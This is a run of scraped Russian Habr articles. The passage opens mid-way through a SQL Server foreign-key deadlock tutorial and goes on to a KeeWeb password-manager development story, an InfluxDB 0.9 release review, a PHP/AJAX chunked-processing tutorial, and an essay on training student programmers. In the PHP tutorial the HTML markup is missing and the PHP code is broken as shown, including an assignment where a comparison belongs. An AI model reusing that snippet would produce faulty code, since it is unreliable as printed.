**Employee**. ``` CREATE TABLE ##Emp (Id INT,EmpFname VARCHAR(50),EmpLname VARCHAR(50),DepId INT,IsActive bit) DECLARE @Counter AS INT=1 DECLARE @RoundNumber AS INT WHILE @Counter <=10000 BEGIN SET @Counter = @Counter+1 SELECT @RoundNumber = ROUND(((10000) * RAND() + 1), 0) INSERT INTO ##Emp VALUES(@Counter,'EmpFname', 'EmpLname',@RoundNumber , 0) END ``` Следующие запросы выполним в разных сессиях. Сначала "Часть 1" первого запроса: ``` --- Запрос-1: --*** Часть 1 ***-- BEGIN TRAN INSERT INTO [dbo].Department (DepartmentId, DepartmentName) VALUES (10000,N'Lauren') --- *** --- -- *** Часть 2 ***-- INSERT INTO [Employee] SELECT  * FROM ##Emp WITH(NOLOCK)   WHERE DepId <=10000 --- *** --- ``` И первую часть второго запроса: ``` --- Запрос-2: --*** Часть 1 ***-- BEGIN TRAN INSERT INTO [dbo].Department (DepartmentId,DepartmentName) VALUES (10001, N'Lauren') --- *** --- --*** Часть 2 ***-- INSERT INTO [Employee] SELECT  * FROM ##Emp WITH(NOLOCK)   WHERE DepId <=9999 --- *** --- ``` А теперь — вторые части запросов.  ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6db/036/e7b/6db036e7bcbdb88275b58e150f12d6af.png)В результате возникла взаимная блокировка. Давайте проанализируем, что произошло: 1. Первая часть Запроса-1 открывает транзакцию и вставляет строку в таблицу **Department**. Страница данных **Department** блокируется монопольной блокировкой намерения (IX, intent exclusive lock), а вставленная строка — монопольной блокировкой (X, exclusive lock). 2. Первая часть Запроса-2 также открывает транзакцию и вставляет строку в **Department**. Страница данных таблицы **Department** блокируется монопольной блокировкой намерения (IX), а вставленная строка — монопольной блокировкой (X). На данный момент проблем с блокировками нет. 3. Вторая часть Запроса-1, он начинает сканировать первичные ключи таблицы **Department** для проверки ссылочной целостности вставленных строк. Однако одна из строк заблокирована монопольной блокировкой в Запросе-2. В этом случае Запрос-1 должен дождаться завершения Запроса-2. 4. Запрос-2 блокируется при попытке прочитать строки, вставленные в **Department** в Запросе-1. У нас получилась взаимная блокировка. Приведенный ниже граф взаимных блокировок иллюстрирует то, о чем мы говорили. Сессия 71 (Запрос-1) получил монопольную блокировку (X) для строк таблицы **Employee** и хочет получить разделяемую блокировку (S) для строк таблицы **Department**. В это же время сессия 51 получила эксклюзивную блокировку (X) для строк таблицы **Department** и хочет получить монопольную блокировку (X) для строк таблицы **Employee**. В результате между этими двумя сессиями возникает борьба за ресурсы, и SQL Server завершает одну из сессий. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/22e/731/136/22e73113620dbf02f24059e35693b798.png)### Устранение взаимных блокировок Мы с вами увидели, что при массовых INSERT проверка целостности внешнего ключа вызывает проблему с блокировками. На самом деле эта проблема связана с методом доступа к данным родительской таблицы. Взглянув на план выполнения второй части запросов, мы увидим оператор **Merge Join**. ``` INSERT INTO [Employee] SELECT * FROM ##Emp WITH(NOLOCK) WHERE DepId <=9999 ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/19b/7d1/b74/19b7d1b7422acc461a4fe94700a29a59.png)Соединение Merge Join является самым эффективным, но требует предварительной сортировки входных данных. В нашем случае при сканировании родительской таблицы **Merge Join** сталкивается с заблокированной строкой, и не может продолжить сканирование, пока блокировка не будет снята.  Мы можем изменить метод доступа к данным с помощью OPTION (LOOP JOIN). При использовании хинта LOOP JOIN, оптимизатор запросов SQL Server сгенерирует другой план выполнения и заменит оператор **Merge Join** оператором **Nested Loops**, а оператор **Clustered Index Scan** будет заменен оператором **Clustered Index Seek**. С помощью **Clustered Index Seek** доступ к данным родительской таблицы осуществляется напрямую, поэтому не требуется ждать заблокированных строк. С другой стороны, оператор **Nested Loops** выполняет построчное чтение, а **Merge Join** — одно последовательное чтение. Эти два изменения метода доступа к данным снижают вероятность блокировки запроса из-за наличия других блокировок. ``` INSERT INTO [Employee] SELECT * FROM ##Emp WITH(NOLOCK) WHERE DepId <=9999 OPTION (LOOP JOIN) ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f62/99e/4b0/f6299e4b0d5d17042415cd7b88720728.png)**Row Count Spool** используется для подсчета количества строк, возвращаемых оператором **Clustered Index Seek**, и передачи этой информации в оператор **Nested Loops**. Этот оператор используется оптимизатором запросов SQL Server для проверки существования строк, но не содержащихся в них данных. ### Заключение В этой статье мы узнали, как внешние ключи влияют на план запроса INSERT и добавляют некоторые операции в процесс его выполнения. Также мы увидели, что в некоторых ситуациях внешние ключи могут приводить к взаимным блокировкам. Для устранения проблем с блокировками можно использовать хинт LOOP JOIN. --- > Материал подготовлен в рамках курса [«MS SQL Server Developer»](https://otus.pw/AC9z/). Всех желающих приглашаем на открытый урок [«SQL Server и Docker».](https://otus.pw/Fj3B/) На открытом уроке мы поговорим о контейнерах, а также рассмотрим развертывание SQL Server в контейнерах. > > [**РЕГИСТРАЦИЯ**](https://otus.pw/Fj3B/) > >
https://habr.com/ru/post/572106/
null
ru
null
# Как я делал веб-версию KeePass Как-то мне надо было добавить в админку просмотр списка паролей. База хранилась на сервере в формате KeePass (kdbx v2), сервер был на ноде — недолго думая, я взял первый попавшийся пакет и сделал. А потом понадобилось то же самое, но прямо у пользователя в браузере, без сервера. Ничего не нашлось. Первым желанием было форкнуть либу и заменить использование node api, но от первого просмотра кода желание пропало, решил сделать сам. ![](https://habrastorage.org/r/w1560/files/ee6/2ec/abd/ee62ecabd5594f388bfc03ac9ed8ff34.png) Под катом расскажу о проблемах, с которыми я столкнулся, и способах их решения Чтение формата kdbx в браузере ============================== Пришлось изучить формат kdbx, не описанный, к сожалению, нигде кроме исходников и [этой](http://blog.sharedmemory.fr/en/2014/04/30/keepass-file-format-explained/) небольшой статьи. Но зато он достаточно прост. Чтобы прочитать kdbx, нужно: 1. прочитать бинарный заголовок ([что в нём?](https://github.com/keeweb/kdbxweb/blob/master/lib/format/kdbx-header.js#L26)) 2. инициализировать алгоритм шифрования и генератор случайных значений (salsa-20) 3. посчитать хэш пароля и ключа, получить credentials hash 4. N раз (значение из заголовка) зашифровать хэш, получив мастер-ключ — это самая вычислительно трудоёмкая операция 5. дешифровать данные 6. проверить корректность расшифровки, сравнив блок данных с блоком из заголовка 7. разGZIPать данные 8. распарсить xml 9. сгенерировать соль для защищённых полей 10. по требованию, когда они нужны, теперь можно расXORить защищённые поля 11. прочитать xml-метаданные ([что в них?](https://github.com/keeweb/kdbxweb/blob/master/lib/format/kdbx-meta.js#L15)) 12. прочитать группы и записи Из алгоритмов там используются AES для симметричного шифрования и SHA256 для хеширования. Самая быстрая реализация для web, которую я нашёл — это [asmCrypto](https://github.com/vibornoff/asmcrypto.js/), она написана на asm.js, работает быстрее остальных браузерных альтернатив и, что немаловажно, умеет собираться по кусочкам, включая только нужные модули с алгоритмами. Пропатчив её так, чтобы все циклы трансформации ключа происходили внутри asm.js, без дополнительного копирования данных, мне удалось достичь скорости в 4..7 раз меньшей, чем у native-реализации (если в KeePass поставить задержку в 1 секунду, откроется файл секунд за 6). С дефолтными настройками время открытия файла в среднем около 200мс. WebAssembly нас всех спасёт, а пока что вот так. UPD: в комментариях подсказали про WebCrypto, теперь время открытия в браузерах с его поддержкой почти не уступает KeePass. Для работы с gzip взял [pako](https://github.com/nodeca/pako) — он маленький, быстрый и MIT. Сравнительно с шифрованием, значимых затрат на декомпрессии не заметил. В результате получилась [kdbxweb](https://github.com/keeweb/kdbxweb), которая работает в node.js и современных браузерах. Из-за необходимости работать с бинарным форматом, в списке поддерживаемых браузеров нет старых версий. Библиотека+зависимости получились в 150кб. Приложение ========== Итак, либа есть. А почему бы теперь не написать веб-интерфейс для неё? Хороший менеджер паролей для веба должен: * быть одиним файлом, чтобы можно было взять и, скажем, положить себе в дропбокс, на хостинг или даже на диск * не требовать абсолютно никакого сервера, ничего никуда не пересылать, работать в браузере * занимать меньше 1МБ (условно; важен порядок на самом деле) * уметь работать из файла и оффлайн * быстро загружаться * работать во всех браузерах * не хранить в памяти пароли в открытом виде * синкаться с дропбоксом * использовать существующий формат, не изобретать велосипед * так или иначе поддерживать все фичи формата * работать с несколькими файлами/базами одновременно * быть обратно-совместимым с оригинальным приложением * быть опен-сорсным Большинство из этого удалось достичь. Приложение написал на backbone+zepto (сначала хотел попробовать Angular2, но как-то не пошло, сгенерированный код самого фреймворка пока что получается размером более 1MB, наверное ещё слишком бета и потом будет лучше). Версии браузеров, поддерживающих читалку формата, не так далеки от последних, поэтому кроссбраузерных костылей практически нет. input type=password =================== Когда вы вводите текст в любой инпут, все вводимые значения даже с историей ввода могут сохраняться в памяти браузера бесконечно долго. И если в десктоп-приложении можно почистить память, то в браузере у вас нет контроля за памятью, занимаемой строками: когда GC захочет, тогда и почистит, при этом память он может занулить, а может и нет: ![](https://habrastorage.org/r/w1560/files/e04/da8/987/e04da8987a6b42dc83b5c7009c15529b.png) Некоторые приложения считают, что память можно не чистить даже после закрытия файла, хотя для приложений это, конечно, не так критично, как для веба: ![](https://habrastorage.org/r/w1560/files/9f9/e21/ffc/9f9e21ffc26247e0a002bf6af3ad25c0.png) Так не пойдёт, если в приложении ещё куда ни шло, то в браузере я бы в такой инпут мастер-пароль вводить не стал, поэтому пришлось сделать велосипед: при вводе символы XOR-ятся с рандомной последовательностью, подобранной так, чтобы на выходе получились символы некоего неиспользуемого блока unicode. Их и показывает инпут, думая, что это значение (всё равно там звёздочки), само значение при этом посимвольно сохраняется в буфер. Сложить значение с ключом, имея полный доступ к памяти, конечно, можно, но это уже другой уровень сложности: ![](https://habrastorage.org/r/w1560/files/031/103/dc4/031103dc4ed84455a4189f23c8e5c1c1.png) Сохранение файлов ================= Сохранить файл, сгенерированный в браузере, не так-то просто, но нужно: ![](https://habrastorage.org/r/w1560/files/4ca/53f/aae/4ca53faae5d84d09a59fbb4159f997e4.png) Есть FileSaver.js, но в нём засада в Safari, [вот тред с интересными комментариями](https://github.com/eligrey/FileSaver.js/issues/12), где автор просит купить ему макбук. Почти все браузеры сейчас поддерживают Но только не Сафари. Сафари упорно не хочет ни понимать атрибут download ([чувсвтва по этому поводу можно излить на webkit.org](https://bugs.webkit.org/show_bug.cgi?id=102914)), ни скачивать Blob, жалуясь на то, что это якобы небезопасно. Но если законвертировать файл в base64, скачать его таки можно. Отправил автору патч, теперь в сафари FileSaver работает, но имя файла всё равно осталось Unknown. Если кто-то знает способ сделать лучше — расскажите, пожалуйста. Десктоп ======= Работать, каждый раз скачивая файл, неудобно, собрал приложения на [electron](http://electron.atom.io/). Работает он шустро, API отлично описанное и интуитивно понятное, проблем с ним не заметил вообще: ![](https://habrastorage.org/r/w1560/files/fc5/cf0/492/fc5cf0492a034d7f89c906f9cff77d6a.png) Авто-апдейтер пока только под мак, но в будущем скорее всего его допишут и под другие ос. Как и для node-webkit, для электрона уже появились electron-builder и electron-packager, которыми я и воспользовался для сборки приложения и инсталлятора. Конфиг для сборки инсталлятора, который делает dmg для mac os x и exe installer для windows (сборку deb для linux пока они не поддерживают): ``` { "osx" : { "title": "KeeWeb", "background": "../graphics/dmg-bg.png", "icon": "../graphics/app.icns", "icon-size": 80, "contents": [ { "x": 438, "y": 344, "type": "link", "path": "/Applications" }, { "x": 192, "y": 344, "type": "file" } ] }, "win" : { "title": "KeeWeb", "icon": "graphics/app.ico" } } ``` Electron добавляет приятную возможность получить путь открываемых файлов. Когда в приложение тащат файл или открывают его из инпута, в File добавляется свойство path, в котором содержится полный путь к файлу. Сохранить файл можно потом как обычно в ноде, fs.writeFile. ![](https://habrastorage.org/r/w1560/files/cdf/77b/707/cdf77b70753b4af1b2a5f960ab3eb041.png) Иконки ====== В KeePass есть много иконок со странными названиями в енуме. Но во-первых, они немного устарели для 2015, а во-вторых, растровую графику использовать не хотелось, чтобы сохранить приложение маленьким. Пришлось составить соответствие вручную, к счастью, в font awesome нашлось абсолютно всё: ![](https://habrastorage.org/r/w1560/files/b1e/d20/e38/b1ed20e385d642cc870355fdef153fb9.png) Цвета ===== Формат позволяет задать цвет записи и цвет фона, что KeePass и использует, однако я считаю возможность выбирать произвольный цвет текста и фона самому из колор-пикера не лучшим решением. Цвет записи нужен для отнесения записи к какой-любо логической группе (например, зелёные — деньги) и быстрого их поиска — чтобы отмеченные бросались в глаза и были быстро доступны. ![](https://habrastorage.org/r/w1560/files/2e9/917/22d/2e991722d37f4a3781dbde3a14c068d7.png) Поэтому в приложении цвет используется как пометка звёздочкой, но вместо жёлтой звезды можно выбрать звезду любого цвета: ![](https://habrastorage.org/r/w1560/files/e1e/38b/93b/e1e38b93ba0f41d4aef1d7fbd5719c39.png) В случае, когда в импортитуемом файле есть цвета, алгоритм вычисляет ближайший по схожести тона, Hue. Обратно в KeePass цвета экспортируются как светлый фон выбранного оттенка. Dropbox ======= Приятно удивился, что для подключения к дропбоксу из SPA через dropbox-js теперь не надо встраивать «зашифрованный» secret key в приложение, как это было раньше. Он не так и не научился отслеживать закрытие вкладки в popup-авторизации, но его легко научить (но надо патчить либу). Копирование =========== API копирования заработало в браузерах не так давно: в chrome оно появилось летом, в firefox — осенью этого года, в IE было раньше, но с вопросом пользователю. В сафари его до сих пор нет, а копировать текст как-то хочется. Особенно в мобильном сафари. Но если копировать там и нельзя, то можно показать пользователю баббл Copy, сделав прозрачный input. В экран ещё раз тыкнуть придётся, но всё-таки уже не так болезненно, как выделение и копирование: ![](https://habrastorage.org/r/w1560/files/009/7bb/459/0097bb4595b6489e8fde147420ef0229.png) Поиск и корзина =============== Если человек открыл несколько файлов, скорее всего, он хочет, чтобы поиск был по ним всем. Поэтому поиск, фильтры, сортировка и корзина сделаны общими. Фильтры расположены в порядке востребованности пользователем. Сначала All Items (он даже доступен по шорткату Ctrl/Cmd-A, т.к. чаще всего хочется показать всё и просто найти в поиске необходимое), потом цвета-фавориты, за ними теги, структура и уже совсем внизу мусорка: ![](https://habrastorage.org/r/w1560/files/3fa/a33/44f/3faa3344f3004f8ba5e1ca95ae0c370b.png) Поиск умеет работать по всему: поля, теги, вложения. В списке записей, при сортировке по разным полям, на второй строке показывается поле, по которому сортировали: ![](https://habrastorage.org/r/w1560/files/8a4/efd/4c3/8a4efd4c3b8e40f49523045498de7bb6.png) Формат поддерживает файлы без корзины, однако в UI корзина всё время есть. Это сделано затем, чтобы показать её отдельно от списка групп, одну на все файлы. В списке обычных групп корзине делать нечего, она должна быть особенной. Название ======== Когда я рассказал о приложении на sourceforge в форуме KeePass, Dominik Reichl (разработчик KeePass) написал мне на почту, что получилось хорошо, предложил добавить приложение на [страничку неофициальных клиентов](http://keepass.info/download.html), и попросил поменять название, что я и сделал. О скучном ========= В приложении пока что встречаются баги, которые я постепенно вылавливаю. Используйте на свой страх и риск, делайте бэкапы. В крайнем случае есть экспорт в XML, где можно посмотреть, что пошло не так. Многое пока [не сделано](https://github.com/keeweb/keeweb/blob/master/TODO.md), но вообще идея приложения мне понравилась, я собираюсь его развивать и поддерживать. Все компоненты приложения, как и оно само, доступны под MIT. Ссылки ====== [keeweb](https://app.keeweb.info/) — веб-приложение [releases](https://github.com/keeweb/keeweb/releases/latest) — десктоп-релиз [github](https://github.com/keeweb/keeweb) — код [keeweb.info](http://keeweb.info) — сайт с фичами на одной страничке в виде картинок [kdbxweb](https://github.com/keeweb/kdbxweb) — читалка kdbx для браузеров и node.js [kee\_web](https://twitter.com/kee_web) — twitter проекта
https://habr.com/ru/post/269895/
null
ru
null
# Релиз InfluxDB 0.9 [![image](https://habrastorage.org/r/w1560/files/06c/5fa/803/06c5fa8031a840dcbfb1cdd6c679e3ae.png)](/post/262565/) Удивительно, но об этой подающей большие надежды Time Series DB довольно мало статей на хабре, всего 10, причём она упоминается там вскользь. А ведь версия 0.9 вышла довольно давно, больше месяца назад и была весьма ожидаемой. Итак, что же нового? #### Новые фичи ##### Новое API Обращения к API стало куда проще вклинивать в уже имеющиеся приложения, благодаря отказу от передачи данных в виде json. Это было, конечно круто и всё такое, но вот вручную отправить метрику с помощью curl выходило довольно проблематично. Сейчас отправка в самом простом виде выглядит следующим образом: ``` curl "http://influxdb:8086/write?db=база_данных" -d "метрика value=значение" ``` Старое API из версии 0.8 более не поддерживается, что, наверное и к лучшему. ##### non\_negative\_derivative() Очень полезная агрегирующая функция, которая скрывает отрицательные значения, что спасает графики прирастания растущих, но обнуляющихся величин от внезапных огромных пиков идущих вниз. (пример такой метрики — счётчик missed / dropped пакетов на сетевом интерфейсе в Linux). Когда я только знакомился с проектом, это пожалуй первое что я пытался сделать и убил довольно много времени, пока не узнал от знакомого про наличие этой функции в grafite и не наткнулся на задачу на github о добавлении этой функции в influxdb 0.9. ##### Прочее * Поддержка протокола grafite. Если уж решились стать «убийцей grafite» нужно думать как grafite. Скорее всего это здорово поможет ребятам хотя бы заставить людей попробовать их базу. * Новый web UI. Здесь в принципе мало что изменилось, в основном вёрстка. Сейчас ребята готовят к релизу версию 0.9.2, в которой: * Сделали конфигурируемым таймауты между записями на диск. Вот эта штука довольно важна, на мой взгляд, так 0.9.0 выдавала довольно много дискового I/O (за день около 100гб c трёх серверов, шлющих данные об интерфейсах, CPU, памяти и дисковом пространстве через collectd), думаю хоть какая-то агрегация будет полезна. До этого 5 секунд таймаута были захардкодены. * Снизили высокую нагрузку на CPU в некоторых случаях. Помимо всего прочего недавно команда influxdb подготовила два связанных с influxdb проекта: [Telegraf](https://influxdb.com/blog/2015/06/19/Announcing-Telegraf-a-metrics-collector-for-InfluxDB.html) — сборщик метрик для InfluxDB на Go [Chronograf](https://influxdb.com/chronograf/index.html) — визуализатор метрик для InfluxDB #### Источники [ChangeLog](https://github.com/influxdb/influxdb/blob/master/CHANGELOG.md) [Release Notes](https://influxdb.com/docs/v0.9/about/release_notes.html)
https://habr.com/ru/post/262565/
null
ru
null
# Реализация пошаговой работы PHP-скрипта с помощью AJAX Искал более-менее простое и универсальное средство для организации пошаговой работы скрипта, но так ничего и не нашел. Даже [вопрос в QA задал](http://habrahabr.ru/qa/25101/), везде только общие фразы. Поэтому решил сам сделать такой инструмент. Для чего это вообще нужно? -------------------------- Бывает необходимо обработать скриптом какой-то очень уж большой файл, например, для импорта. Естественно, время работы скрипта увеличивается пропорционально размеру файла или количеству строк в нем. Хотелось бы разбить обработку файла на несколько частей и запускать скрипт в работу уже по частям. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/9b7/43d/abc/9b743dabc1573d6479b81b8d9e30164b.png) Принцип реализации давно известен — обмен данными между сервером и клиентом: Клиент запускает скрипт, тот выполняет несколько итераций и возвращает клиенту номер строки, на которой он остановился. После этого клиент делает новый запрос, в котором передает скрипту этот номер и скрипт продолжает работу дальше. Собственно сам код ------------------ Для работы нам понадобятся: **index.html** ``` ScriptOffset - инструмент для организации пошаговой работы скрипта [Старт](#) [Заново](#) ``` **scriptoffset.php** ``` php // Отвечаем только на Ajax if ($_SERVER['HTTP_X_REQUESTED_WITH'] != 'XMLHttpRequest') {return;} // Можно передавать в скрипт разный action и в соответствии с ним выполнять разные действия. $action = $_POST['action']; if (empty($action)) {return;} $count = 50; $step = 1; // Получаем от клиента номер итерации $url = $_POST['url']; if (empty($url)) return; $offset = $_POST['offset']; // Проверяем, все ли строки обработаны $offset = $offset + $step; if ($offset = $count) { $sucsess = 1; } else { $sucsess = round($offset / $count, 2); } // И возвращаем клиенту данные (номер итерации и сообщение об окончании работы скрипта) $output = Array('offset' => $offset, 'sucsess' => $sucsess); echo json_encode($output); ``` **scriptoffset.js** ``` function setCookie (url, offset){ var ws=new Date(); if (!offset && !url) { ws.setMinutes(10-ws.getMinutes()); } else { ws.setMinutes(10+ws.getMinutes()); } document.cookie="scriptOffsetUrl="+url+";expires="+ws.toGMTString(); document.cookie="scriptOffsetOffset="+offset+";expires="+ws.toGMTString(); } function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return(setStr); } function showProcess (url, sucsess, offset, action) { $('#url, #refreshScript').hide(); $('.progress').show(); $('#runScript').text('Стоп!'); $('.bar').text(url); $('.bar').css('width', sucsess * 100 + '%'); setCookie(url, offset); $('#runScript').click(function(){ document.location.href=document.location.href }); scriptOffset(url, offset, action); } function scriptOffset (url, offset, action) { $.ajax({ url: "http://bfmn.ru/scriptoffset/scriptoffset.php", type: "POST", data: { "action":action , "url":url , "offset":offset }, success: function(data){ data = $.parseJSON(data); if(data.sucsess < 1) { showProcess(url, data.sucsess, data.offset, action); } else { setCookie(); $('.bar').css('width','100%'); $('.bar').text('OK'); $('#runScript').text('Еще'); } } }); } $(document).ready(function() { var url = getCookie("scriptOffsetUrl"); var offset = getCookie("scriptOffsetOffset"); if (url && url != 'undefined') { $('#refreshScript').show(); $('#runScript').text('Продолжить'); $('#url').val(url); $('#offset').val(offset); } $('#runScript').click(function() { var action = $('#runScript').data('action'); var offset = $('#offset').val(); var url = $('#url').val(); if ($('#url').val() != getCookie("scriptOffsetUrl")) { setCookie(); scriptOffset(url, 0, action); } else { scriptOffset(url, offset, action); } return false; }); $('#refreshScript').click(function() { var action = $('#runScript').data('action'); var url = $('#url').val(); setCookie(); scriptOffset(url, 0, action); return false; }); }); ``` **scriptoffset.css** ``` input { font-size: 13px; margin: 0; padding: 0 3px; vertical-align: middle; border: 1px solid #CCCCCC; border-radius: 3px 3px 3px 3px; color: #808080; display: inline-block; font-size: 13px; height: 26px; line-height: 18px; width: 243px; -moz-transition: border 0.2s linear 0s, box-shadow 0.2s linear 0s; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1) inset; } .btn { font-size: 13px; padding: 5px 8px; background-color: #0064CD; background-image: -moz-linear-gradient(center top , #049CDB, #0064CD); background-repeat: repeat-x; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); color: #FFFFFF; display: inline-block; vertical-align: middle; border-radius: 3px 3px 3px 3px; text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); text-decoration: none; } .btn:hover { background-position: 0 -15px; } .btn:active { box-shadow: 0 2px 4px rgba(0, 0, 0, 0.25) inset, 0 1px 2px rgba(0, 0, 0, 0.05); } .progress { font-size: 13px; margin: 0; vertical-align: middle; background-color: #F7F7F7; background-image: -moz-linear-gradient(center top , #F5F5F5, #F9F9F9); background-repeat: repeat-x; border-radius: 4px 4px 4px 4px; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1) inset; height: 28px; width: 250px; overflow: hidden; display: inline-block; } .progress .bar { background-color: #0E90D2; background-image: -moz-linear-gradient(center top , #149BDF, #0480BE); background-size: 40px 40px; -moz-box-sizing: border-box; -moz-transition: width 0.6s ease 0s; background-repeat: repeat-x; box-shadow: 0 -1px 0 rgba(0, 0, 0, 0.15) inset; color: #FFFFFF; float: left; font-size: 12px; height: 100%; text-align: left; padding: 5px 8px; font-size: 13px; text-shadow: 1px 1px #333; white-space: nowrap; } div.form { margin: 150px auto 0; width: 500px; } ``` Для оформления css взял несколько правил из Bootstrap. ##### Что в итоге В поле url мы указываем, например, ссылку на файл, который нужно обработать, и запускаем скрипт. Появляется прогресс-бар, а мы сидим и ждем, когда он доползет до 100 %, чтобы увидеть результат работы. При работе с этим решением: * Мы можем установить количество обрабатываемых строк за одну итерацию (в самом скрипте); * Пользователю показывается настоящий прогресс-бар, а не бесконечная «крутилка» — если прогресс-бар стоит на середине, значит обработана половина файла; * Пользователь может остановить выполнение скрипта. В этом случае offset записывается в cookies на 10 мин, чтобы он мог продолжить работу скрипта с того же места. * Если пользователь обновит страницу, ему будет предложено продолжить работу скрипта с места остановки или начать заново (так же благодаря cookies). Если у сообщества есть примеры реализации подобного функционала или вообще готовые решения для пошаговой работы со скриптами, буду благодарен ссылкам в комментариях. **UPD.** Решение, адаптированное для MODX [здесь](http://community.modx-cms.ru/blog/tips_and_tricks/9126.html).
https://habr.com/ru/post/153731/
null
ru
null
# Как вырастить из студента инженера-программиста? Привет! Меня зовут Денис Довженко, и я уже несколько лет провожу технические собеседования с кандидатами на позиции инженера-программиста C/C++. Если с кандидатами на позиции Senior SW Engineer и выше основной разговор ведётся об опыте работы, то отбор будущих интернов и джуниоров опирается на усвоенные в университете знания и способность решать учебного же уровня задачи. Здесь-то и выясняется, что даже в ведущих технических вузах учат «не тому» и «не так». А подготовку к переходу из состояния «студент» в состояние «инженер» хорошо бы начинать чуть ли не с первых дней обучения. В статье я расскажу о том, как мы в Санкт-Петербургском Центре Разработок Dell Technologies помогаем студентам готовиться к успешному продвижению по пути инженера-программиста. ![](https://habrastorage.org/r/w780q1/webt/9p/om/-n/9pom-nw3uievyrmo5nawxpihmfm.jpeg) Образование, или Где и как учиться? ----------------------------------- В школе нас приучают к тому, что всякая задача имеет единственное правильное решение. К окончанию бакалавриата у некоторых студентов появляется ощущение того, что оно может быть далеко не единственным, но критерии выбора решения, наиболее подходящего к условиям задачи, пока недоступны их пониманию. Да и вообще, в голове бакалавра обычно сидит абсолютная уверенность в том, что инженер-программист — не более, чем дрессированная обезьянка (codemonkey). Ведь именно такие навыки вырабатываются лабораторными работами: прочитать задание по диагонали и быстренько накодить. Но какой же студент начнёт делать лабораторные раньше, чем за неделю до сессии? И вдруг на собеседовании злые дядьки требуют от него хотя бы минимальной алгоритмической культуры, рассуждают о каких-то «процессах разработки», заставляют решать заковыристые задачи… Получается, что ступенька джуниора для бакалавра высоковата, а магистру уже кажется недостаточно статусной. На мой взгляд, проблема в том, что даже на IT-специальностях преподавание программирования оторвано от реальных задач. В учебном плане дисциплина может называться «Программирование на языке…», но в реальности на занятиях долго и нудно излагают синтаксис с притянутыми за уши примерами, а искусства программирования там почти и не оказывается. Зачастую в университетских курсах вообще не закладывается понимание того, что код будет выполняться компьютером, но читать-то его будут люди! Ещё очень часто бывает, что «программирование» изучается в отрыве от аппаратных средств компьютера, архитектура ПО сдвинута на старшие курсы, а умением читать техзадание и вовсе никто не заморачивается. Есть, конечно, и исключения, например, курс «Промышленное программирование на C++», который на протяжении нескольких лет ведёт в питерском Политехе мой коллега А.В.Мартынов. ![](https://habrastorage.org/r/w780q1/webt/kq/wl/en/kqwlenvxlmbkp5qfjcoyfzf0ymc.jpeg) В результате на собеседованиях, а то и в написанном участниками студенческих проектов коде я часто замечал воспроизведение примеров «из учебника», когда автор просто не задумывется о возможных ограничениях. Например, в случае C/C++ большинство студентов даже старших курсов не в состоянии внятно объяснить разницу между статической, динамически распределяемой и стековой памятью, а вопросы про взаимосвязь ключевых слов языка со storage duration and linkage просто приводят их в ужас. На собеседованиях я пытался давать на разбор примеры наподобие приведённого ниже (заметим, максимально упрощённого), но сейчас этого уже не делаю. Объяснение того, почему вызов функции f2() заставляет программу вылететь с SEGFAULT’ом, находится для большинства студентов далеко за гранью понимания. ``` #include using namespace std; extern void populate(int\* data, unsigned long size); const unsigned long ARRAY\_SIZE = 2048 \* 2048; int d1 [ARRAY\_SIZE]; long f1() { populate(d1, ARRAY\_SIZE); long ret = 0; for (unsigned long i = 0; i < ARRAY\_SIZE; ++i) { ret += d1[i]; } return ret; } long f2() { int d2 [ARRAY\_SIZE]; populate(d2, ARRAY\_SIZE); long ret = 0; for (unsigned long i = 0; i < ARRAY\_SIZE; ++i) { ret += d2[i]; } return ret; } int main() { cout << f1() << endl; cout << f2() << endl; return 0; } ``` Полагаю, работодателям, студентам и руководству вузов пора признать, что конфликт интересов существует. Сильно упрощая картину, его можно свести к таким утверждениям: * Студент хочет прилагая минимум усилий получить диплом и рассматривает это как неизбежный этап на пути к высокооплачиваемой работе. * Учебное заведение хочет всеми правдами и неправдами добиться высокого рейтинга, что увеличивает разнообразные фонды, в том числе фонд оплаты труда профессорско-преподавательского состава. И в распространённых методиках расчёта рейтинга, например, [такой](https://russiaedu.ru/documents/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4%D0%B8%D0%BA%D0%B0_%D1%80%D0%B0%D1%81%D1%87%D0%B5%D1%82%D0%B0_%D1%80%D0%B5%D0%B9%D1%82%D0%B8%D0%BD%D0%B3%D0%B0_%D0%92%D0%A3%D0%97%D0%BE%D0%B2.pdf), показатель «трудоустройство студентов» составляет аж 2% от общей суммы. * Работодатель мысленно кричит «да начните вы, наконец, готовить нормальных выпускников, которых не нужно несколько лет доучивать, а то и переучивать, расходуя на это время сотрудников уровня от senior и выше». И эти проблемы видны даже в ведущих технических вузах, что же тогда говорить о менее «раскрученных»? ![](https://habrastorage.org/r/w780q1/webt/lf/tz/ok/lftzokxfqk8519bsydebw-7dscc.jpeg) *Dell Technologies Day в офисе нашего Санкт-Петербургского Центра Разработок* На недавно прошедшем форуме «[Найти IT](https://vk.com/findit_spb)» к стенду Dell Technologies потянулось неожиданно большое количество студентов, рассказывающих примерно такую историю: «Я не набрал запредельных баллов по ЕГЭ, испугался высоких требований вузов к абитуриентам на IT-специальности и поэтому пошёл в заборостроительный институт N. К концу второго курса, внезапно осознал, что строительство заборов – не моё, возьмите меня в программисты». Тем самым, почти дословно воспроизводится сюжет повести Айзека Азимова «Профессия», опубликованной более полувека тому назад. С позиции современного школьника или студента младших курсов, изображенный мир будущего почти идеален: нет необходимости посещать уроки или лекции, делать домашние задания. Просто в определённый день приходишь в центр обучения, за считанные минуты напрямую в мозг записывается информация с носителя (в повести они названы «обучающими лентами»), и можно расслабиться – процесс обучения завершен. **Фрагмент повести «Профессия»** – Не думайте, что это шутка, – сказал Джордж горячо. – Ленты попросту вредны. Они учат слишком многому и слишком легко. Человек, который получает знания с их помощью, не представляет, как можно учиться по-другому. Он способен заниматься только той профессией, которой его зарядили. А если бы, вместо того чтобы пичкать человека 